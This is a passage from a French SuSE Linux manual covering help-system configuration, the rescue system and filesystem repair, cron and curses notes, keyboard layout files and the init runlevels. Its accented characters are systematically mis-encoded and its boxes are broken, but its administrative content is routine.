  27880.                            un accΦs local aux documents. DOC_HOST         indique le nom du serveur de do-
  27881.                            cuments (ici : soleil.cosmos.univers). DOC_ALLOW          est une variable qui
  27882.                            joue  un  r⌠le  dΘterminant  au  niveau  de  la  sΘcuritΘ.  C'est  lα  que  l'on  inscrit
  27883.                            les machines ou les domaines autorisΘs α accΘder aux pages de man. Si vous
  27884.                            voulez attribuer des droits d'accΦs α un domaine complet, n'oubliez pas de
  27885.                            faire prΘcΘder son nom par un point `.' !
  27886.                            ________________________________________________________________________________________________________*
  27887.  *________||
  27888.                            |  Notez que SuSEconfig          doit Ωtre lancΘ aprΦs chaque modification des va-                      *
  27889.  *        ||||
  27890.                            |  riables. Si vous utilisez YaST , cela se fait automatiquement lorsque vous                           *
  27891.  *        |||
  27892.                            |                                                                                                       *
  27893.  *        |||
  27894.                            |  quittez le masque.                                                                                   *
  27895.  *        |||
  27896.                            |_______________________________________________________________________________________________________*
  27897.  *________|||_
  27898.  
  27899.  
  27900. 436
  27901.        ___________________________________________________________________16.4.__Le_systΦme_d'aide_pour_SuSE______Linux____________*
  27902.  *______________________
  27903.  
  27904.  
  27905.  
  27906. La recherche plein texte n'est disponible que lorsque les index pour ht://Dig
  27907. (paquetage htdig) ont ΘtΘ crΘΘs. Les index ont actuellement une taille d'en-
  27908. viron  70  Mo.  Sous  /opt/www/htdig,  il  devrait  y  avoir  au  moins  200  Mo
  27909. d'espace  libre  sur  le  disque  pendant  l'initialisation  de  la  base  de  donnΘes.
  27910. L'initialisation se fait par la commande
  27911.  
  27912.       terre:~  #  suserundig
  27913.  
  27914. Le script /usr/sbin/suserundig                   lit le fichier de configuration /opt/www/
  27915. htdig/conf/susedig.conf  et  crΘe  les  index.  En  cas  de  modification  du
  27916. stock de donnΘes (par exemple aprΦs une mise α jour de documents HTML),
  27917. suserundig           doit de nouveau Ωtre invoquΘ.
  27918.  
  27919.  
  27920. 16.4.2       Configuration pour une machine client
  27921.  
  27922. Dans un environnement rΘseau, vous ne souhaiterez probablement pas instal-
  27923. ler la totalitΘ de la documentation sur toutes les machines. Ce n'est pas non
  27924. plus nΘcessaire ! De tous les paquetages mentionnΘs plus haut, installez sur le
  27925. client uniquement le paquetage dochost, sΘrie n et positionnez les variables
  27926. dans /etc/rc.config comme dans le fichier 16.4.2.
  27927.  
  27928.        _______________________________________________________________________________________________________________________|DOC_*
  27929.  *SERVER="no"|
  27930.        ||||||||DOC_HOST="soleil.cosmos.univers"                                                                                |
  27931.        ||||||||                                                                                                                |
  27932.        ||||||||DOC_ALLOW=""___________________________________________________________________________________________________ |
  27933.  
  27934.               fichier 16.4.2: /etc/rc.config              pour une machine client
  27935.  
  27936.  
  27937. Ceci ne peut Θvidemment fonctionner que si la documentation est effective-
  27938. ment installΘe sur soleil.cosmos.univers.
  27939.  
  27940.  
  27941. 16.4.3       Utiliser le systΦme d'aide
  27942.  
  27943. Lorsque  le  systΦme  d'aide  est  installΘ,  vous  pouvez  l'invoquer  soit  avec
  27944. la   commande   aide     ou   susehelp       ,   soit   en   entrant   directement   l'URL
  27945. http://localhost/doc/susehilf/index.html   ou   http://soleil.
  27946. cosmos.univers/doc/susehilf/index.html dans un navigateur WWW.
  27947. soleil.cosmos.univers ne peut naturellement Ωtre utilisΘ que si vous avez
  27948. donnΘ ce nom α votre machine ou au serveur de documents.
  27949.                                                                                                                                    *
  27950.  *   437
  27951. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  27952.  *_______________________________________@
  27953.  
  27954.  
  27955.  
  27956.                            16.5        Le systΦme de secours SuSE
  27957.  
  27958.                            Vue d'ensemble
  27959.  
  27960.                            SuSE     Linux inclut ~ indΘpendamment du systΦme d'installation ~ un systΦme
  27961.                            de secours Linux autonome4 qui vous permettra, en cas d'urgence, d'accΘder
  27962.                            ``de l'extΘrieur'' α toutes vos partitions Linux qui se trouvent sur les disques
  27963.                            durs. Ce systΦme de secours comprend un choix soigneusement ΘlaborΘ de
  27964.                            programmes auxiliaires qui mettent suffisamment d'outils α votre disposition
  27965.                            pour vous permettre de remΘdier α une multitude de problΘmes causΘs par des
  27966.                            disques durs devenus inaccessibles, des fichiers de configuration erronΘs, et
  27967.                            d'autres choses encore.
  27968.  
  27969.                            Le  systΦme  de  secours  est  constituΘ  d'une  disquette  d'amorτage  ou  d'un
  27970.                            CD SuSE     Linux amorτable ainsi que d'un systΦme dit rescue qu'il est pos-
  27971.                            sible, sous SuSE     Linux, de charger α partir des supports les plus divers (dis-
  27972.                            quette, CD, rΘseau et mΩme directement depuis le serveur FTP de SuSE     ) ~
  27973.                            Somme toute, un sujet passionnant.
  27974.  
  27975.  
  27976.  
  27977.                            Travaux prΘliminaires
  27978.  
  27979.                            Comme vous pouvez crΘer α tout moment une nouvelle disquette d'amorτage
  27980.                            α l'aide du vΘritable fichier image contenu sur le CD sous /disks, il vous
  27981.                            est possible de parer α toute ΘventualitΘ. Outre la disquette d'amorτage, vous
  27982.                            n'aurez besoin, dans le cas minimal, que du fichier /disks/rescue qui se
  27983.                            trouve  sur  le  CD  et  qui  contient  l'image  compressΘe  d'un  petit  systΦme  de
  27984.                            fichiers  racine.  Si  vous  Θcrivez  ce  fichier  sur  une  deuxiΦme  disquette  ``de
  27985.                            secours'' sans aucun dΘfaut avec les commandes Linux
  27986.  
  27987.                                  terre:  #  /sbin/badblocks  -v  /dev/fd0  1440
  27988.                                  terre:  #  dd  if=/cdrom/disks/rescue  of=/dev/fd0  bs=18k
  27989.                            ou avec la commande DOS (supposons que Q: soit le lecteur de CD-ROM
  27990.                            sous DOS)
  27991.  
  27992.                                  Q:\>  cd  \dosutils\rawrite
  27993.                                  Q:\dosutils\rawrite>  rawrite.exe
  27994.                            vous pourrez aussi charger le systΦme rescue α partir de la disquette d'amor-
  27995.                            τage et de cette disquette de secours. La disquette de secours peut aussi Ωtre
  27996.                            crΘΘe avec YaST  (voir paragraphe 3.6.2 page 104). actuellement , elle est en-
  27997.                            core basΘe α dessein sur la libc5  (SuSE     Linux 5.3) car c'est la seule solution
  27998.                            qui permette d'intΘgrer certains programmes sur la disquette (un +   Θditeur,
  27999.                            fdisk , e2fsck , etc.) ~ la glibc serait, de par sa taille, trop volumineuse.
  28000.  
  28001.                            Il n'est toutefois pas possible de monter la disquette de secours car elle n'est
  28002.                            pas un systΦme de fichiers. Elle contient seulement l'image compressΘe d'un
  28003.                            systΦme de fichiers (si cette image, d'environ 3 Mo, n'Θtait pas compressΘe
  28004.                            elle serait trop grande pour tenir sur une disquette). Si vous voulez malgrΘ tout
  28005.                            y jeter un coup d'oeil, vous devrez dΘcompresser le fichier image et monter
  28006.                            ensuite l'image non compressΘe (en tant qu'utilisateur `root'). Ceci suppose
  28007.                            _____________________________________________4
  28008.                              Plus exactement, il en existe 2 (voir la suite du paragraphe pour plus de dΘtails) ~ ou mΩme 3 si
  28009.                            l'on considΦre aussi le ``systΦme de fichiers live'' comme un systΦme de secours. Pour le systΦme
  28010.                            de fichiers live voir paragraphe 3.6.4 page 108.
  28011.  
  28012.  
  28013. 438
  28014.        _______________________________________________________________________________16.5.__Le_systΦme_de_secours_SuSE____________*
  28015.  *______________________
  28016.  
  28017.  
  28018.  
  28019. que votre noyau Linux supporte le loop device. Les choses se passent alors
  28020. comme suit :
  28021.       terre:  #  cp  /cdrom/disks/rescue  /root/rescue.gz
  28022.       terre:  #  gunzip  /root/rescue.gz
  28023.       terre:  #  mount  -t  ext2  -o  loop  /root/rescue  /mnt
  28024. Sous  /mnt,  vous  pouvez  maintenant  explorer  le  contenu  de  la  disquette  de
  28025. secours en toute tranquillitΘ.
  28026.        _______________________________________________________________________________________________________________________||
  28027.  
  28028.        ||||||||  Conservez dans un lieu s√r quelques disquettes d'amorτage et de secours                        |||            |
  28029.        ||||||||  vΘrifiΘes. Le peu qu'il faut faire pour les crΘer et les maintenir n'est vrai-                 ||             |
  28030.        ||||||||                                                                                                 ||             |
  28031.        ||||||||  ment pas grand chose comparΘ au travail et α la perte de temps que vous                        ||             |
  28032.        ||||||||  auriez si, en cas de nΘcessitΘ, vous n'aviez pas ces disquettes sous la main                   ||             |
  28033.        ||||||||                                                                                                 ||             |
  28034.        ||||||||  (et si de surcroεt votre lecteur de CD-ROM vous laissait en plan).                             ||             |
  28035.        ||||||||_______________________________________________________________________________________________________________||_
  28036.  
  28037.  
  28038. DΘmarrer le systΦme de secours
  28039.  
  28040. Tout comme une installation, le systΦme de secours est dΘmarrΘ α partir de la
  28041. disquette d'amorτage SuSE      ou α partir du CD 1 amorτable. Les Θtapes sont
  28042. les suivantes :
  28043.  
  28044.  
  28045.  1.   Condition  :  le  lecteur  de  disquettes  est  prΩt  pour  l'amorτage.  (si  c'est
  28046.       nΘcessaire, changer l'ordre d'amorτage dans le CMOS SETUP).
  28047.  
  28048.  2.   DΘmarrez  le  systΦme  avec  la  disquette  d'amorτage  SuSE     ou  le  CD  1.
  28049.       Entrez,  α  l'invite  d'amorτage,  soit  yast1    ,  soit  manuel     .  Avec  manuel     ,
  28050.       vous avez la possibilitΘ de charger, de maniΦre autonome, les modules du
  28051.       noyau nΘcessaires.
  28052.  
  28053.  3.   Configurez  la  langue,  le  clavier  et  le  reste  comme  lors  de  l'installation
  28054.       dans linuxrc , jusqu'α ce que vous arriviez au menu principal.
  28055.  
  28056.  4.   SΘlectionnez dans le menu principal `DΘmarrer  l'installation/  le
  28057.       systΦme'.
  28058.  
  28059.  5.   Si vous avez dΘmarrΘ avec la disquette d'amorτage, insΘrez maintenant le
  28060.       CD d'installation ou la disquette (rescue) avec l'image compressΘe du
  28061.       systΦme de secours.
  28062.  
  28063.  6.   SΘlectionnez  dans  le  menu  `DΘmarrer  l'installation/le  systΦ-
  28064.       me' l'option `DΘmarrer  le  systΦme  de  secours' (voir figure 16.5
  28065.       page  433)  et  spΘcifiez  le  support  source  que  vous  dΘsirez  (figure  16.8
  28066.       page suivante) :
  28067.  
  28068.  
  28069.       `CD-ROM' :         Ceci  reprΘsente  le  ``cas  normal''.  linuxrc  chargera  un  sys-
  28070.           tΦme  confortable  (.../suse/images/rescue).  Pour  que  cette  mΘ-
  28071.           thode soit possible, votre machine doit disposer d'au moins 16 Mo ou
  28072.           mieux encore de 24 Mo de RAM (mΘmoire de travail). ~ Il convient
  28073.           de noter que /cdrom sera exportΘ simultanΘment. Il est ainsi possible
  28074.           de dΘmarrer aisΘment le systΦme de secours et de procΘder α une in-
  28075.           stallation  rΘseau  α  partir  de  ce  CD  (insΘrer  les  valeurs  exactes  dans
  28076.           les /etc/rc.config indispensables et invoquer ensuite SuSEconfig ;
  28077.           voir paragraphe 17.5 page 450 et pages suivantes).
  28078.  
  28079.  
  28080.                                                                                                                                    *
  28081.  *   439
  28082. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  28083.  *_______________________________________@
  28084.  
  28085.                                                    Fig. 16.8: Support pour le systΦme rescue
  28086.  
  28087.  
  28088.  
  28089.                                  `RΘseau  (NFS)' :             RΘcupΘrez le systΦme rescue sur le rΘseau via NFS.
  28090.                                      Pour cela, il est bien s√r indispensable que le pilote pour votre carte
  28091.                                      rΘseau ait ΘtΘ chargΘ auparavant.  Voir α ce sujet les remarques d'ordre
  28092.                                      gΘnΘral du paragraphe 2.4.2 page 48.
  28093.  
  28094.                                  `RΘseau  (FTP)' :             RΘcupΘrez le systΦme rescue sur le rΘseau via FTP.
  28095.                                      Ne pas oublier le pilote pour la carte rΘseau !
  28096.  
  28097.                                  `Disque  dur' :           Chargement du systΦme rescue α partir du disque dur.
  28098.  
  28099.                                  `Disquette' :            DΘmarrage du systΦme rescue α partir de la disquette.
  28100.                                      Cette variante fonctionne mΩme dans le cas o∙ la machine ne dispose
  28101.                                      que de peu de RAM.
  28102.  
  28103.                            Le systΦme de secours est maintenant dΘcompressΘ et chargΘ comme nouveau
  28104.                            systΦme de fichiers racine sur un disque RAM, puis il est ensuite montΘ et
  28105.                            dΘmarrΘ. Il est ainsi fonctionnel.
  28106.  
  28107.  
  28108.                            Travailler avec le systΦme de secours
  28109.  
  28110.                            Le systΦme_de secours met α votre disposition, avec |A_____|lt+ |F___|_1jusqu'α |A_____|lt
  28111.                            +  |___F|3,  au  moins  trois  consoles  virtuelles  sur  lesquelles__vous  pouvez_ vous
  28112.                            connecter en tant qu'utilisateur `root' sans mot de passe. Avec |A____l|t+ |F____1|0
  28113.                            vous  passez  α  la  console  du  systΦme  qui  affiche  les  messages  du  noyau  et
  28114.                            de syslog .
  28115.  
  28116.                            Sous /bin, vous trouverez l'interprΘteur de commandes (shell) ainsi que des
  28117.                            utilitaires  (par  exemple  mount ).  Un  certain  nombre  d'utilitaires  de  fichiers
  28118.                            et  de  rΘseau,  entre  autres  e2fsck  pour  la  vΘrification  et  la  restauration  de
  28119.                            systΦmes  de  fichiers,  se  trouvent  sous  /sbin.  C'est  Θgalement  sous  /sbin
  28120.                            que vous trouverez les binaires les plus importants pour l'administration du
  28121.                            systΦme tels que fdisk , mkfs , mkswap ,init , shutdown ainsi que ceux pour le
  28122.                            rΘseau ifconfig , route et netstat .
  28123.  
  28124.                            Comme Θditeur, vous disposez du programme vi  sous /usr/bin. Vous trou-
  28125.                            verez ici encore d'autres outils (grep , find , less , etc.) et surtout telnet .
  28126.  
  28127.  
  28128. 440
  28129.        _______________________________________________________________________________16.5.__Le_systΦme_de_secours_SuSE____________*
  28130.  *______________________
  28131.  
  28132.  
  28133.  
  28134. Exemple : AccΦs au systΦme normal
  28135. Pour  le  montage  de  votre  systΦme  Linux  sur  le  disque  dur,  c'est  le  point
  28136.  
  28137. de  montage  /mnt  qui  est  prΘvu.  Vous  pouvez  bien  s√r,  pour  vos  besoins
  28138. personnels, crΘer d'autres rΘpertoires et les utiliser comme points de montage.
  28139.  
  28140. Supposons que votre systΦme normal soit constituΘ, selon /etc/fstab, des
  28141. mΩmes ΘlΘments que dans l'exemple donnΘ par le fichier 16.5.1.
  28142.  
  28143.        _______________________________________________________________________________________________________________________
  28144.        ||||||||/dev/sdb5            swap              swap              defaults     0     0                                   |
  28145.        ||||||||/dev/sdb3            /                   ext2              defaults     1     1                                 |
  28146.        ||||||||                                                                                                                |
  28147.        ||||||||/dev/sdb6____________/usr______________ext2______________defaults_____1_____2__________________________________ |
  28148.  
  28149.                             fichier 16.5.1: Exemple : /etc/fstab
  28150.  
  28151.  
  28152. Vous le monterez alors Θtape par Θtape sous /mnt avec les commandes sui-
  28153. vantes (l'ordre doit Ωtre respectΘ !) :
  28154.  
  28155.       terre:/  #  mount  /dev/sdb3  /mnt
  28156.       terre:/  #  mount  /dev/sdb6  /mnt/usr
  28157. Vous  avez  maintenant  accΦs  α  la  totalitΘ  de  votre  systΦme  et  vous  pouvez,
  28158. par exemple, corriger des erreurs dans des fichiers de configuration tels que
  28159. /etc/fstab,  /etc/passwd,  /etc/inittab  ~  qui  se  trouvent  bien  s√r  α
  28160. prΘsent sous /mnt/etc et non plus sous /etc !
  28161.  
  28162. Tout utilisateur Linux possΘdant un peu d'expΘrience profite de la premiΦre
  28163. occasion pour faire une copie sur papier (hardcopy) de /etc/fstab et de la
  28164. sortie de la commande
  28165.  
  28166.       terre:  #  fdisk  -l  /dev/<disk>
  28167.  
  28168. ``pour ses archives''. └ la place de <disk>, insΘrez les uns aprΦs les autres les
  28169. noms de pΘriphΘriques de vos disques durs, par exemple hda    (voir la liste au
  28170. paragraphe D.1 page 531)
  28171.  
  28172. Il est souvent possible de rΘcupΘrer mΩme des partitions complΦtes qui ont ΘtΘ
  28173. dΘtruites en les recrΘant simplement avec le fdisk  de Linux, α condition que
  28174. l'on sache exactement o∙ elles Θtaient auparavant sur le disque dur.
  28175.  
  28176.  
  28177. Exemple : Restaurer des systΦmes de fichiers
  28178.  
  28179. Les systΦmes de fichiers endommagΘs sont une sΘrieuse raison pour utiliser le
  28180. systΦme de secours. Ceci peut arriver α la suite, par exemple, d'un arrΩt brutal
  28181. de la machine (d√ Θventuellement α une panne de courant) ou d'un effondre-
  28182. ment du systΦme. Par principe, il n'est pas possible de restaurer un systΦme
  28183. de fichiers pendant une exΘcution normale. Lorsque de graves dΘgΓts se sont
  28184. produits, il peut arriver qu'il ne soit plus possible de monter mΩme le systΦme
  28185. de fichiers racine et que le dΘmarrage du systΦme se termine par le message
  28186. "kernel  panic". La seule issue qui reste est de tenter une rΘparation ``de
  28187. l'extΘrieur'' sous un systΦme de secours.
  28188.  
  28189. Le  systΦme  de  secours  SuSE     Linux  contient  les  utilitaires  e2fsck  et,  pour
  28190. le  diagnostic,  dumpe2fs .  Ceci  vous  permet  de  maεtriser  un  bon  nombre  de
  28191. problΦmes. Comme dans certains cas la page de man de e2fsck  n'est souvent
  28192. plus accessible, nous l'avons imprimΘe dans l'annexe E page 537 du manuel.
  28193.  
  28194. Exemple  :
  28195.  
  28196.  
  28197.                                                                                                                                    *
  28198.  *   441
  28199. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  28200.  *_______________________________________@
  28201.  
  28202.  
  28203.  
  28204.                            S'il  n'est  plus  possible  de  monter  un  systΦme  de  fichiers  α  cause  d'un  su-
  28205.                            perbloc non valide, il est fort probable que e2fsck Θchouera Θgalement. La
  28206.                            solution consiste dans ce cas α utiliser l'une des sauvegardes des superblocs
  28207.                            qui sont crΘΘes et maintenues dans le systΦme de fichiers tous les 8192 blocs
  28208.                            (8193, 16385 : : :). Ceci est obtenu par exemple par la commande
  28209.  
  28210.                                  terre:  #  e2fsck  -f  -b  8193  /dev/<Defekte_Partition>
  28211.  
  28212.                            L'option -f   force de faτon absolue la vΘrification du systΦme de fichiers et
  28213.                            prΘvient  ainsi  l'erreur  que  pourrait  faire  e2fsck  en  supposant  -  devant  la
  28214.                            copie intacte du superbloc - que tout est pour le mieux.
  28215.  
  28216.  
  28217.  
  28218.                            16.6        Informations sur les paquetages logiciels spΘciaux
  28219.  
  28220.  
  28221.                            16.6.1       paquetage cron
  28222.  
  28223.                            Les tables cron  sont situΘes sous /var/cron/tabs (et non plus sous /var/
  28224.                            lib/cron). Ce fichier /etc/crontab est une table configurΘe au niveau sys-
  28225.                            tΦme dans laquelle il doit Ωtre indiquΘ, en plus de la date, le compte utilisa-
  28226.                            teur  sous  lequel  chacune  des  tΓches  demandΘes  doit  Ωtre  exΘcutΘe  (voir  le
  28227.                            fichier 16.6.1 dans lequel l'utilisateur `root' est indiquΘ). Les tables spΘci-
  28228.                            fiques aux paquetages, que l'on trouve dans /etc/cron.d, suivent le mΩme
  28229.                            format ~ voir la page de man de cron     (man  8  cron       ).
  28230.  
  28231.                            ________________________________________________________________________________________________________*
  28232.  *________
  28233.                            |1-59/5  *  *  *  *  root  test  -x  /usr/sbin/atrun  &&  /usr/sbin/atrun                               *
  28234.  *         |
  28235.                            |_______________________________________________________________________________________________________*
  28236.  *________ |
  28237.  
  28238.                                             fichier 16.6.1: Exemple d'entrΘe dans /etc/crontab
  28239.  
  28240.  
  28241.                            /etc/crontab ne peut pas Ωtre traitΘ avec crontab  -e         mais doit Ωtre direc-
  28242.                            tement chargΘ dans un Θditeur, modifiΘ et ensuite sauvegardΘ.
  28243.  
  28244.                            Certains  paquetages  installent  dans  les  rΘpertoires  /etc/cron.hourly,
  28245.                            /etc/cron.daily,   /etc/cron.weekly   et   /etc/cron.monthly   des
  28246.                            scripts shells dont l'exΘcution est contr⌠lΘe par /usr/lib/cron/run-crons.
  28247.                            Toutes  les  15  minutes,  /usr/lib/cron/run-crons  est  invoquΘ  dans  la
  28248.                            table principale (/etc/contrab). Il est ainsi garanti que des passages Θven-
  28249.                            tuellement  sautΘs  seront  rΘcupΘrΘs  en  temps  voulu.  Ne  vous  Θtonnez  pas  si
  28250.                            peu de temps aprΦs l'amorτage l'utilisateur `nobody' apparaεt dans la table
  28251.                            des processus avec d'intenses activitΘs. `nobody' actualise probablement la
  28252.                            base de donnΘes locate (voir le paragraphe 17.6 page 461).
  28253.  
  28254.  
  28255.                            16.6.2       paquetage curses
  28256.  
  28257.                            Le  CD  contient  maintenant  le  paquetage  ncurses.  Les  bibliothΦques  qui
  28258.                            en  font  partie  portent  les  noms  libncurses.so.<xx>                  .  Il  en  rΘsulte  que
  28259.                            les commandes pour l'Θditeur de liens doivent Ωtre modifiΘes dans de nom-
  28260.                            breux  Makefiles.  Vous  devriez  donc  compiler  vos  propres  paquetages  avec
  28261.                            -lncurses          et  jamais  avec  -lcurses       .  Mais  qui  veut  quand  mΩme  le  faire
  28262.                            doit utiliser :
  28263.  
  28264.                                  -I/usr/include/termcap  -I/usr/include/curses
  28265.                                  -L/usr/lib/termcap  -L/usr/lib/curses
  28266.  
  28267.  
  28268.  
  28269. 442
  28270.        _________________________________________________________________________________________16.7.__Disposition_du_clavier______*
  28271.  *______________________
  28272.  
  28273.  
  28274.  
  28275. 16.6.3       Sources du paquetage uucp
  28276. Les  sources  du  paquetage  uucp  sont  actuellement   dans  le  RPM  source  de
  28277.  
  28278. Sendmail  sous forme d'un sous-paquetage.
  28279.  
  28280.  
  28281. 16.6.4       Pages de man
  28282.  
  28283. Pour certains programmes GNU (par exemple tar ), les pages de man ne sont
  28284. plus  maintenues.  Elles  ont  remplacΘes  par  de  rapides  aperτus  obtenus  en
  28285. utilisant l'option --help       et par des fichiers Info qui constituent des manuels
  28286. dΘtaillΘs.  Info  (info    )  est  le  systΦme  hypertexte  de  GNU .  Avec  info   ,  on
  28287. obtient une premiΦre aide pour l'utilisation. Il est possible d'invoquer info
  28288. soit en passant par Emacs  : emacs  -f  info          , soit directement : info    . Il est
  28289. plaisant  d'utiliser  tkinfo     ,  xinfo     ou  l'accΦs  par  le  systΦme  d'aide.  Voir  le
  28290. paragraphe 16.4 page 435.
  28291.  
  28292.  
  28293.  
  28294. 16.7        Disposition du clavier
  28295.  
  28296. Pour  uniformiser  la  disposition  du  clavier  de  certains  programmes,  il  a  ΘtΘ
  28297. apportΘ des modifications aux fichiers suivants :
  28298. /etc/inputrc
  28299. /usr/X11R6/lib/X11/Xmodmap
  28300. /etc/skel/.Xmodmap
  28301. /etc/skel/.exrc
  28302. /etc/skel/.less
  28303. /etc/skel/.lesskey
  28304. /etc/csh.cshrc
  28305. /etc/termcap
  28306. /usr/lib/terminfo/x/xterm
  28307. /usr/X11R6/lib/X11/app-defaults/XTerm
  28308. /usr/share/emacs/20.5/site-lisp/term/*.el
  28309. /usr/lib/joerc
  28310. Ces  modifications  n'ont  d'effet  que  sur  les  applications  qui  lisent  les  don-
  28311. nΘes de terminfo         ou sur celles dont les fichiers de configuration ont ΘtΘ di-
  28312. rectement modifiΘs (vi  , less    , etc.). D'autres applications, externes α SuSE    ,
  28313. devraient Ωtre adaptΘes α ces conditions.
  28314.  
  28315.  
  28316.                                                                                                                                    *
  28317.  *   443
  28318. 16.  ParticularitΘs_sous_SuSE______Linux___________________________________________________________________________________________*
  28319.  *_______________________________________@
  28320.  
  28321. 444
  28322.  
  28323.                                                                                                       Chapitre  17
  28324.               Le   concept   d'amorτage   de   SuSE
  28325.  
  28326.  
  28327.  
  28328.                                                                                                                     Linux
  28329.  
  28330.  
  28331. L'amorτage  et  l'initialisation  d'un  systΦme  UNIX  rendent  mΩme  un  admi-
  28332. nistrateur systΦme chevronnΘ quelque peu nerveux. Ce chapitre est une brΦve
  28333. introduction au concept d'amorτage de SuSE     Linux. Ce concept est plus com-
  28334. plexe mais aussi beaucoup plus souple que celui de la plupart des autres sys-
  28335. tΦmes Linux. Il est basΘ sur le concept d'amorτage d'une station de travail
  28336. moderne System V  telle qu'elle est dΘcrite, par exemple, dans [Fri93   ]
  28337.  
  28338. Par ces paroles lapidaires "Uncompressing  Linux...", le noyau prend les
  28339. commandes  de  la  totalitΘ  du  matΘriel  du  systΦme.  Il  vΘrifie  et  installe  la
  28340. console 1  pour lire ensuite les configurations dans le BIOS et initialiser les
  28341. interfaces ΘlΘmentaires de la carte mΦre. Au cours des phases suivantes, les
  28342. diffΘrents pilotes ~ qui font partie des ΘlΘments qui constituent le noyau ~ ``tes-
  28343. tent'' le matΘriel prΘsent pour l'initialiser le cas ΘchΘant. AprΦs le ``contr⌠le
  28344. des partitions'' et le montage du systΦme de fichiers racine2 , le noyau lance le
  28345. programme /sbin/init  qui dΘmarre le systΦme proprement dit avec ses nom-
  28346. breux programmes utilitaires et leur configuration. Le noyau continue α gΘrer
  28347. la totalitΘ du systΦme, c'est-α-dire le temps CPU des diffΘrents programmes
  28348. et leurs accΦs au matΘriel.
  28349.  
  28350.  
  28351.  
  28352. 17.1        Le programme init
  28353.  
  28354.  
  28355. Le programme /sbin/init  est le processus responsable de l'initialisation cor-
  28356. recte  du  systΦme ;  il  est  pour  ainsi  dire  le  ``pΦre  de  tous  les  processus''  du
  28357. systΦme.
  28358.  
  28359. Sous tous les programmes, init  joue un r⌠le particulier : init  est lancΘ direc-
  28360. tement par le noyau et il est immunisΘ contre le signal 9 avec lequel on peut
  28361. normalement ``tuer'' tout processus. Les autres processus sont tous lancΘs soit
  28362. par init  lui-mΩme, soit par l'un de ses ``processus fils''.
  28363.  
  28364. init est configurΘ centralement au moyen du fichier /etc/inittab ; c'est ici
  28365. que  les  ``runlevels''  (niveaux  d'exΘcution)  sont  dΘfinis  (plus  de  dΘtails  α  ce
  28366. sujet au prochain paragraphe) et qu'il est dΘterminΘ ce qui doit se passer α
  28367. chaque niveau. En fonction des entrΘes faites dans /etc/inittab, diffΘrents
  28368. 1      ____________________________________________________
  28369.   Plus exactement le registre du BIOS de la carte graphique et le format d'affichage α l'Θcran.
  28370. 2 Rattachement de la partition racine au rΘpertoire/.
  28371.  
  28372.  
  28373.                                                                                                                                    *
  28374.  *   445
  28375. 17.  Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
  28376.  *_______________________________________@
  28377.  
  28378.  
  28379.  
  28380.                            scripts, regroupΘs pour plus de clartΘ dans le rΘpertoire /sbin/init.d, sont
  28381.                            lancΘs par init .
  28382.  
  28383.                            Le dΘmarrage complet du systΦme ~ et bien s√r aussi son arrΩt ~ sont ainsi
  28384.                            pilotΘs par le seul processus init . Dans ce sens, on peut considΘrer le noyau,
  28385.                            α peu de choses prΦs, comme un ``processus en arriΦre-plan'' chargΘ de gΘrer
  28386.                            les  processus  qui  tournent,  de  leur  allouer  le  temps  CPU,  d'autoriser  et  de
  28387.                            contr⌠ler l'accΦs au matΘriel.
  28388.  
  28389.  
  28390.  
  28391.                            17.2        Les niveaux d'exΘcution
  28392.  
  28393.                            Sous Linux, il existe diffΘrents niveaux d'exΘcution (angl. runlevel) qui dΘfi-
  28394.                            nissent l'Θtat que doit avoir le systΦme. Le niveau d'exΘcution par dΘfaut dans
  28395.                            lequel le systΦme dΘmarre au moment de l'amorτage est dΘterminΘ dans le
  28396.                            fichier /etc/inittab/etc/inittab par l'entrΘe initdefault          . Habituel-
  28397.                            lement,  c'est  2  ou  3  (voir  tableau  17.1  page  ci-contre).  Alternativement,  il
  28398.                            est possible de spΘcifier au moment de l'amorτage (par exemple α l'invite de
  28399.                            LILO) le niveau d'exΘcution que l'on souhaite. Le noyau transmet au proces-
  28400.                            sus init  les paramΘtres inchangΘs qu'il n'utilise pas lui-mΩme.
  28401.  
  28402.                            Pour  passer  ultΘrieurement  dans  un  autre  niveau  d'exΘcution,  on  peut  tout
  28403.                            simplement lancer init  avec le numΘro du niveau d'exΘcution correspondant.
  28404.                            Bien entendu, le passage dans un autre niveau d'exΘcution ne peut Ωtre requis
  28405.                            que par l'+  administrateur systΦme.
  28406.  
  28407.                            En tapant par exemple la commande
  28408.  
  28409.                                  root@terre:/  >  init  S
  28410.  
  28411.                            on arrive en mode dit mono-utilisateur qui sert α la maintenance et α l'admi-
  28412.                            nistration du systΦme. Lorsque l'administrateur systΦme a terminΘ son travail
  28413.                            il peut, en tapant
  28414.  
  28415.                                  root@terre:/  >  init  2
  28416.  
  28417.                            ramener le systΦme au niveau d'exΘcution normal dans lequel tournent tous
  28418.                            les programmes nΘcessaires au fonctionnement et qui permet aux diffΘrents
  28419.                            utilisateurs de se connecter au systΦme.
  28420.  
  28421.                            Le tableau 17.1 page suivante donne une vue d'ensemble des niveaux d'exΘ-
  28422.                            cution disponibles. Le runlevel 1 ne devrait pas Ωtre utilisΘ dans un systΦme
  28423.                            dont la partition /usr a ΘtΘ montΘe via NFS !
  28424.  
  28425.                            Ceci vous permet tout particuliΦrement, par
  28426.  
  28427.                                  root@terre:/  >  init  0
  28428.  
  28429.                            d'arrΩter le systΦme ou, par
  28430.  
  28431.                                  root@terre:/  >  init  6
  28432.  
  28433.                            de le redΘmarrer.
  28434.  
  28435.                            Si  vous  avez  dΘjα  configurΘ  correctement  le  systΦme  X  Window  sur  votre
  28436.                            machine  (paragraphe  8.1  page  240)  et  si  vous  dΘsirez  que  les  utilisateurs
  28437.                            puissent se connecter directement au systΦme par l'interface graphique, vous
  28438.                            pouvez, dans /etc/inittab, faire passer simplement le runlevel α 3 . Mais
  28439.                            avant d'effectuer cette opΘration, vous devriez, en faisant l'entrΘe
  28440.  
  28441.                                  root@terre:/  >  init  3
  28442.  
  28443.  
  28444. 446
  28445.        ____________________________________________________________________17.3.__Changement_de_niveau_d'exΘcution_________________*
  28446.  *______________________
  28447.  
  28448.        _______________________________________________________________________________________________________________________
  28449.  
  28450.  
  28451.    Runlevel__________Signification___________________________________________________________________________________________
  28452.   0                 ArrΩt (halt)
  28453.   S                 Mode mono-utilisateur
  28454.   1                 Multiutilisateur sans rΘseau
  28455.   2                 Multiutilisateur avec rΘseau (par dΘfaut)
  28456.   3                 Multiutilisateur avec rΘseau et Xdm
  28457.   4                 Libre
  28458.   5                 Libre
  28459.   6                 RΘamorτage (reboot)
  28460.  
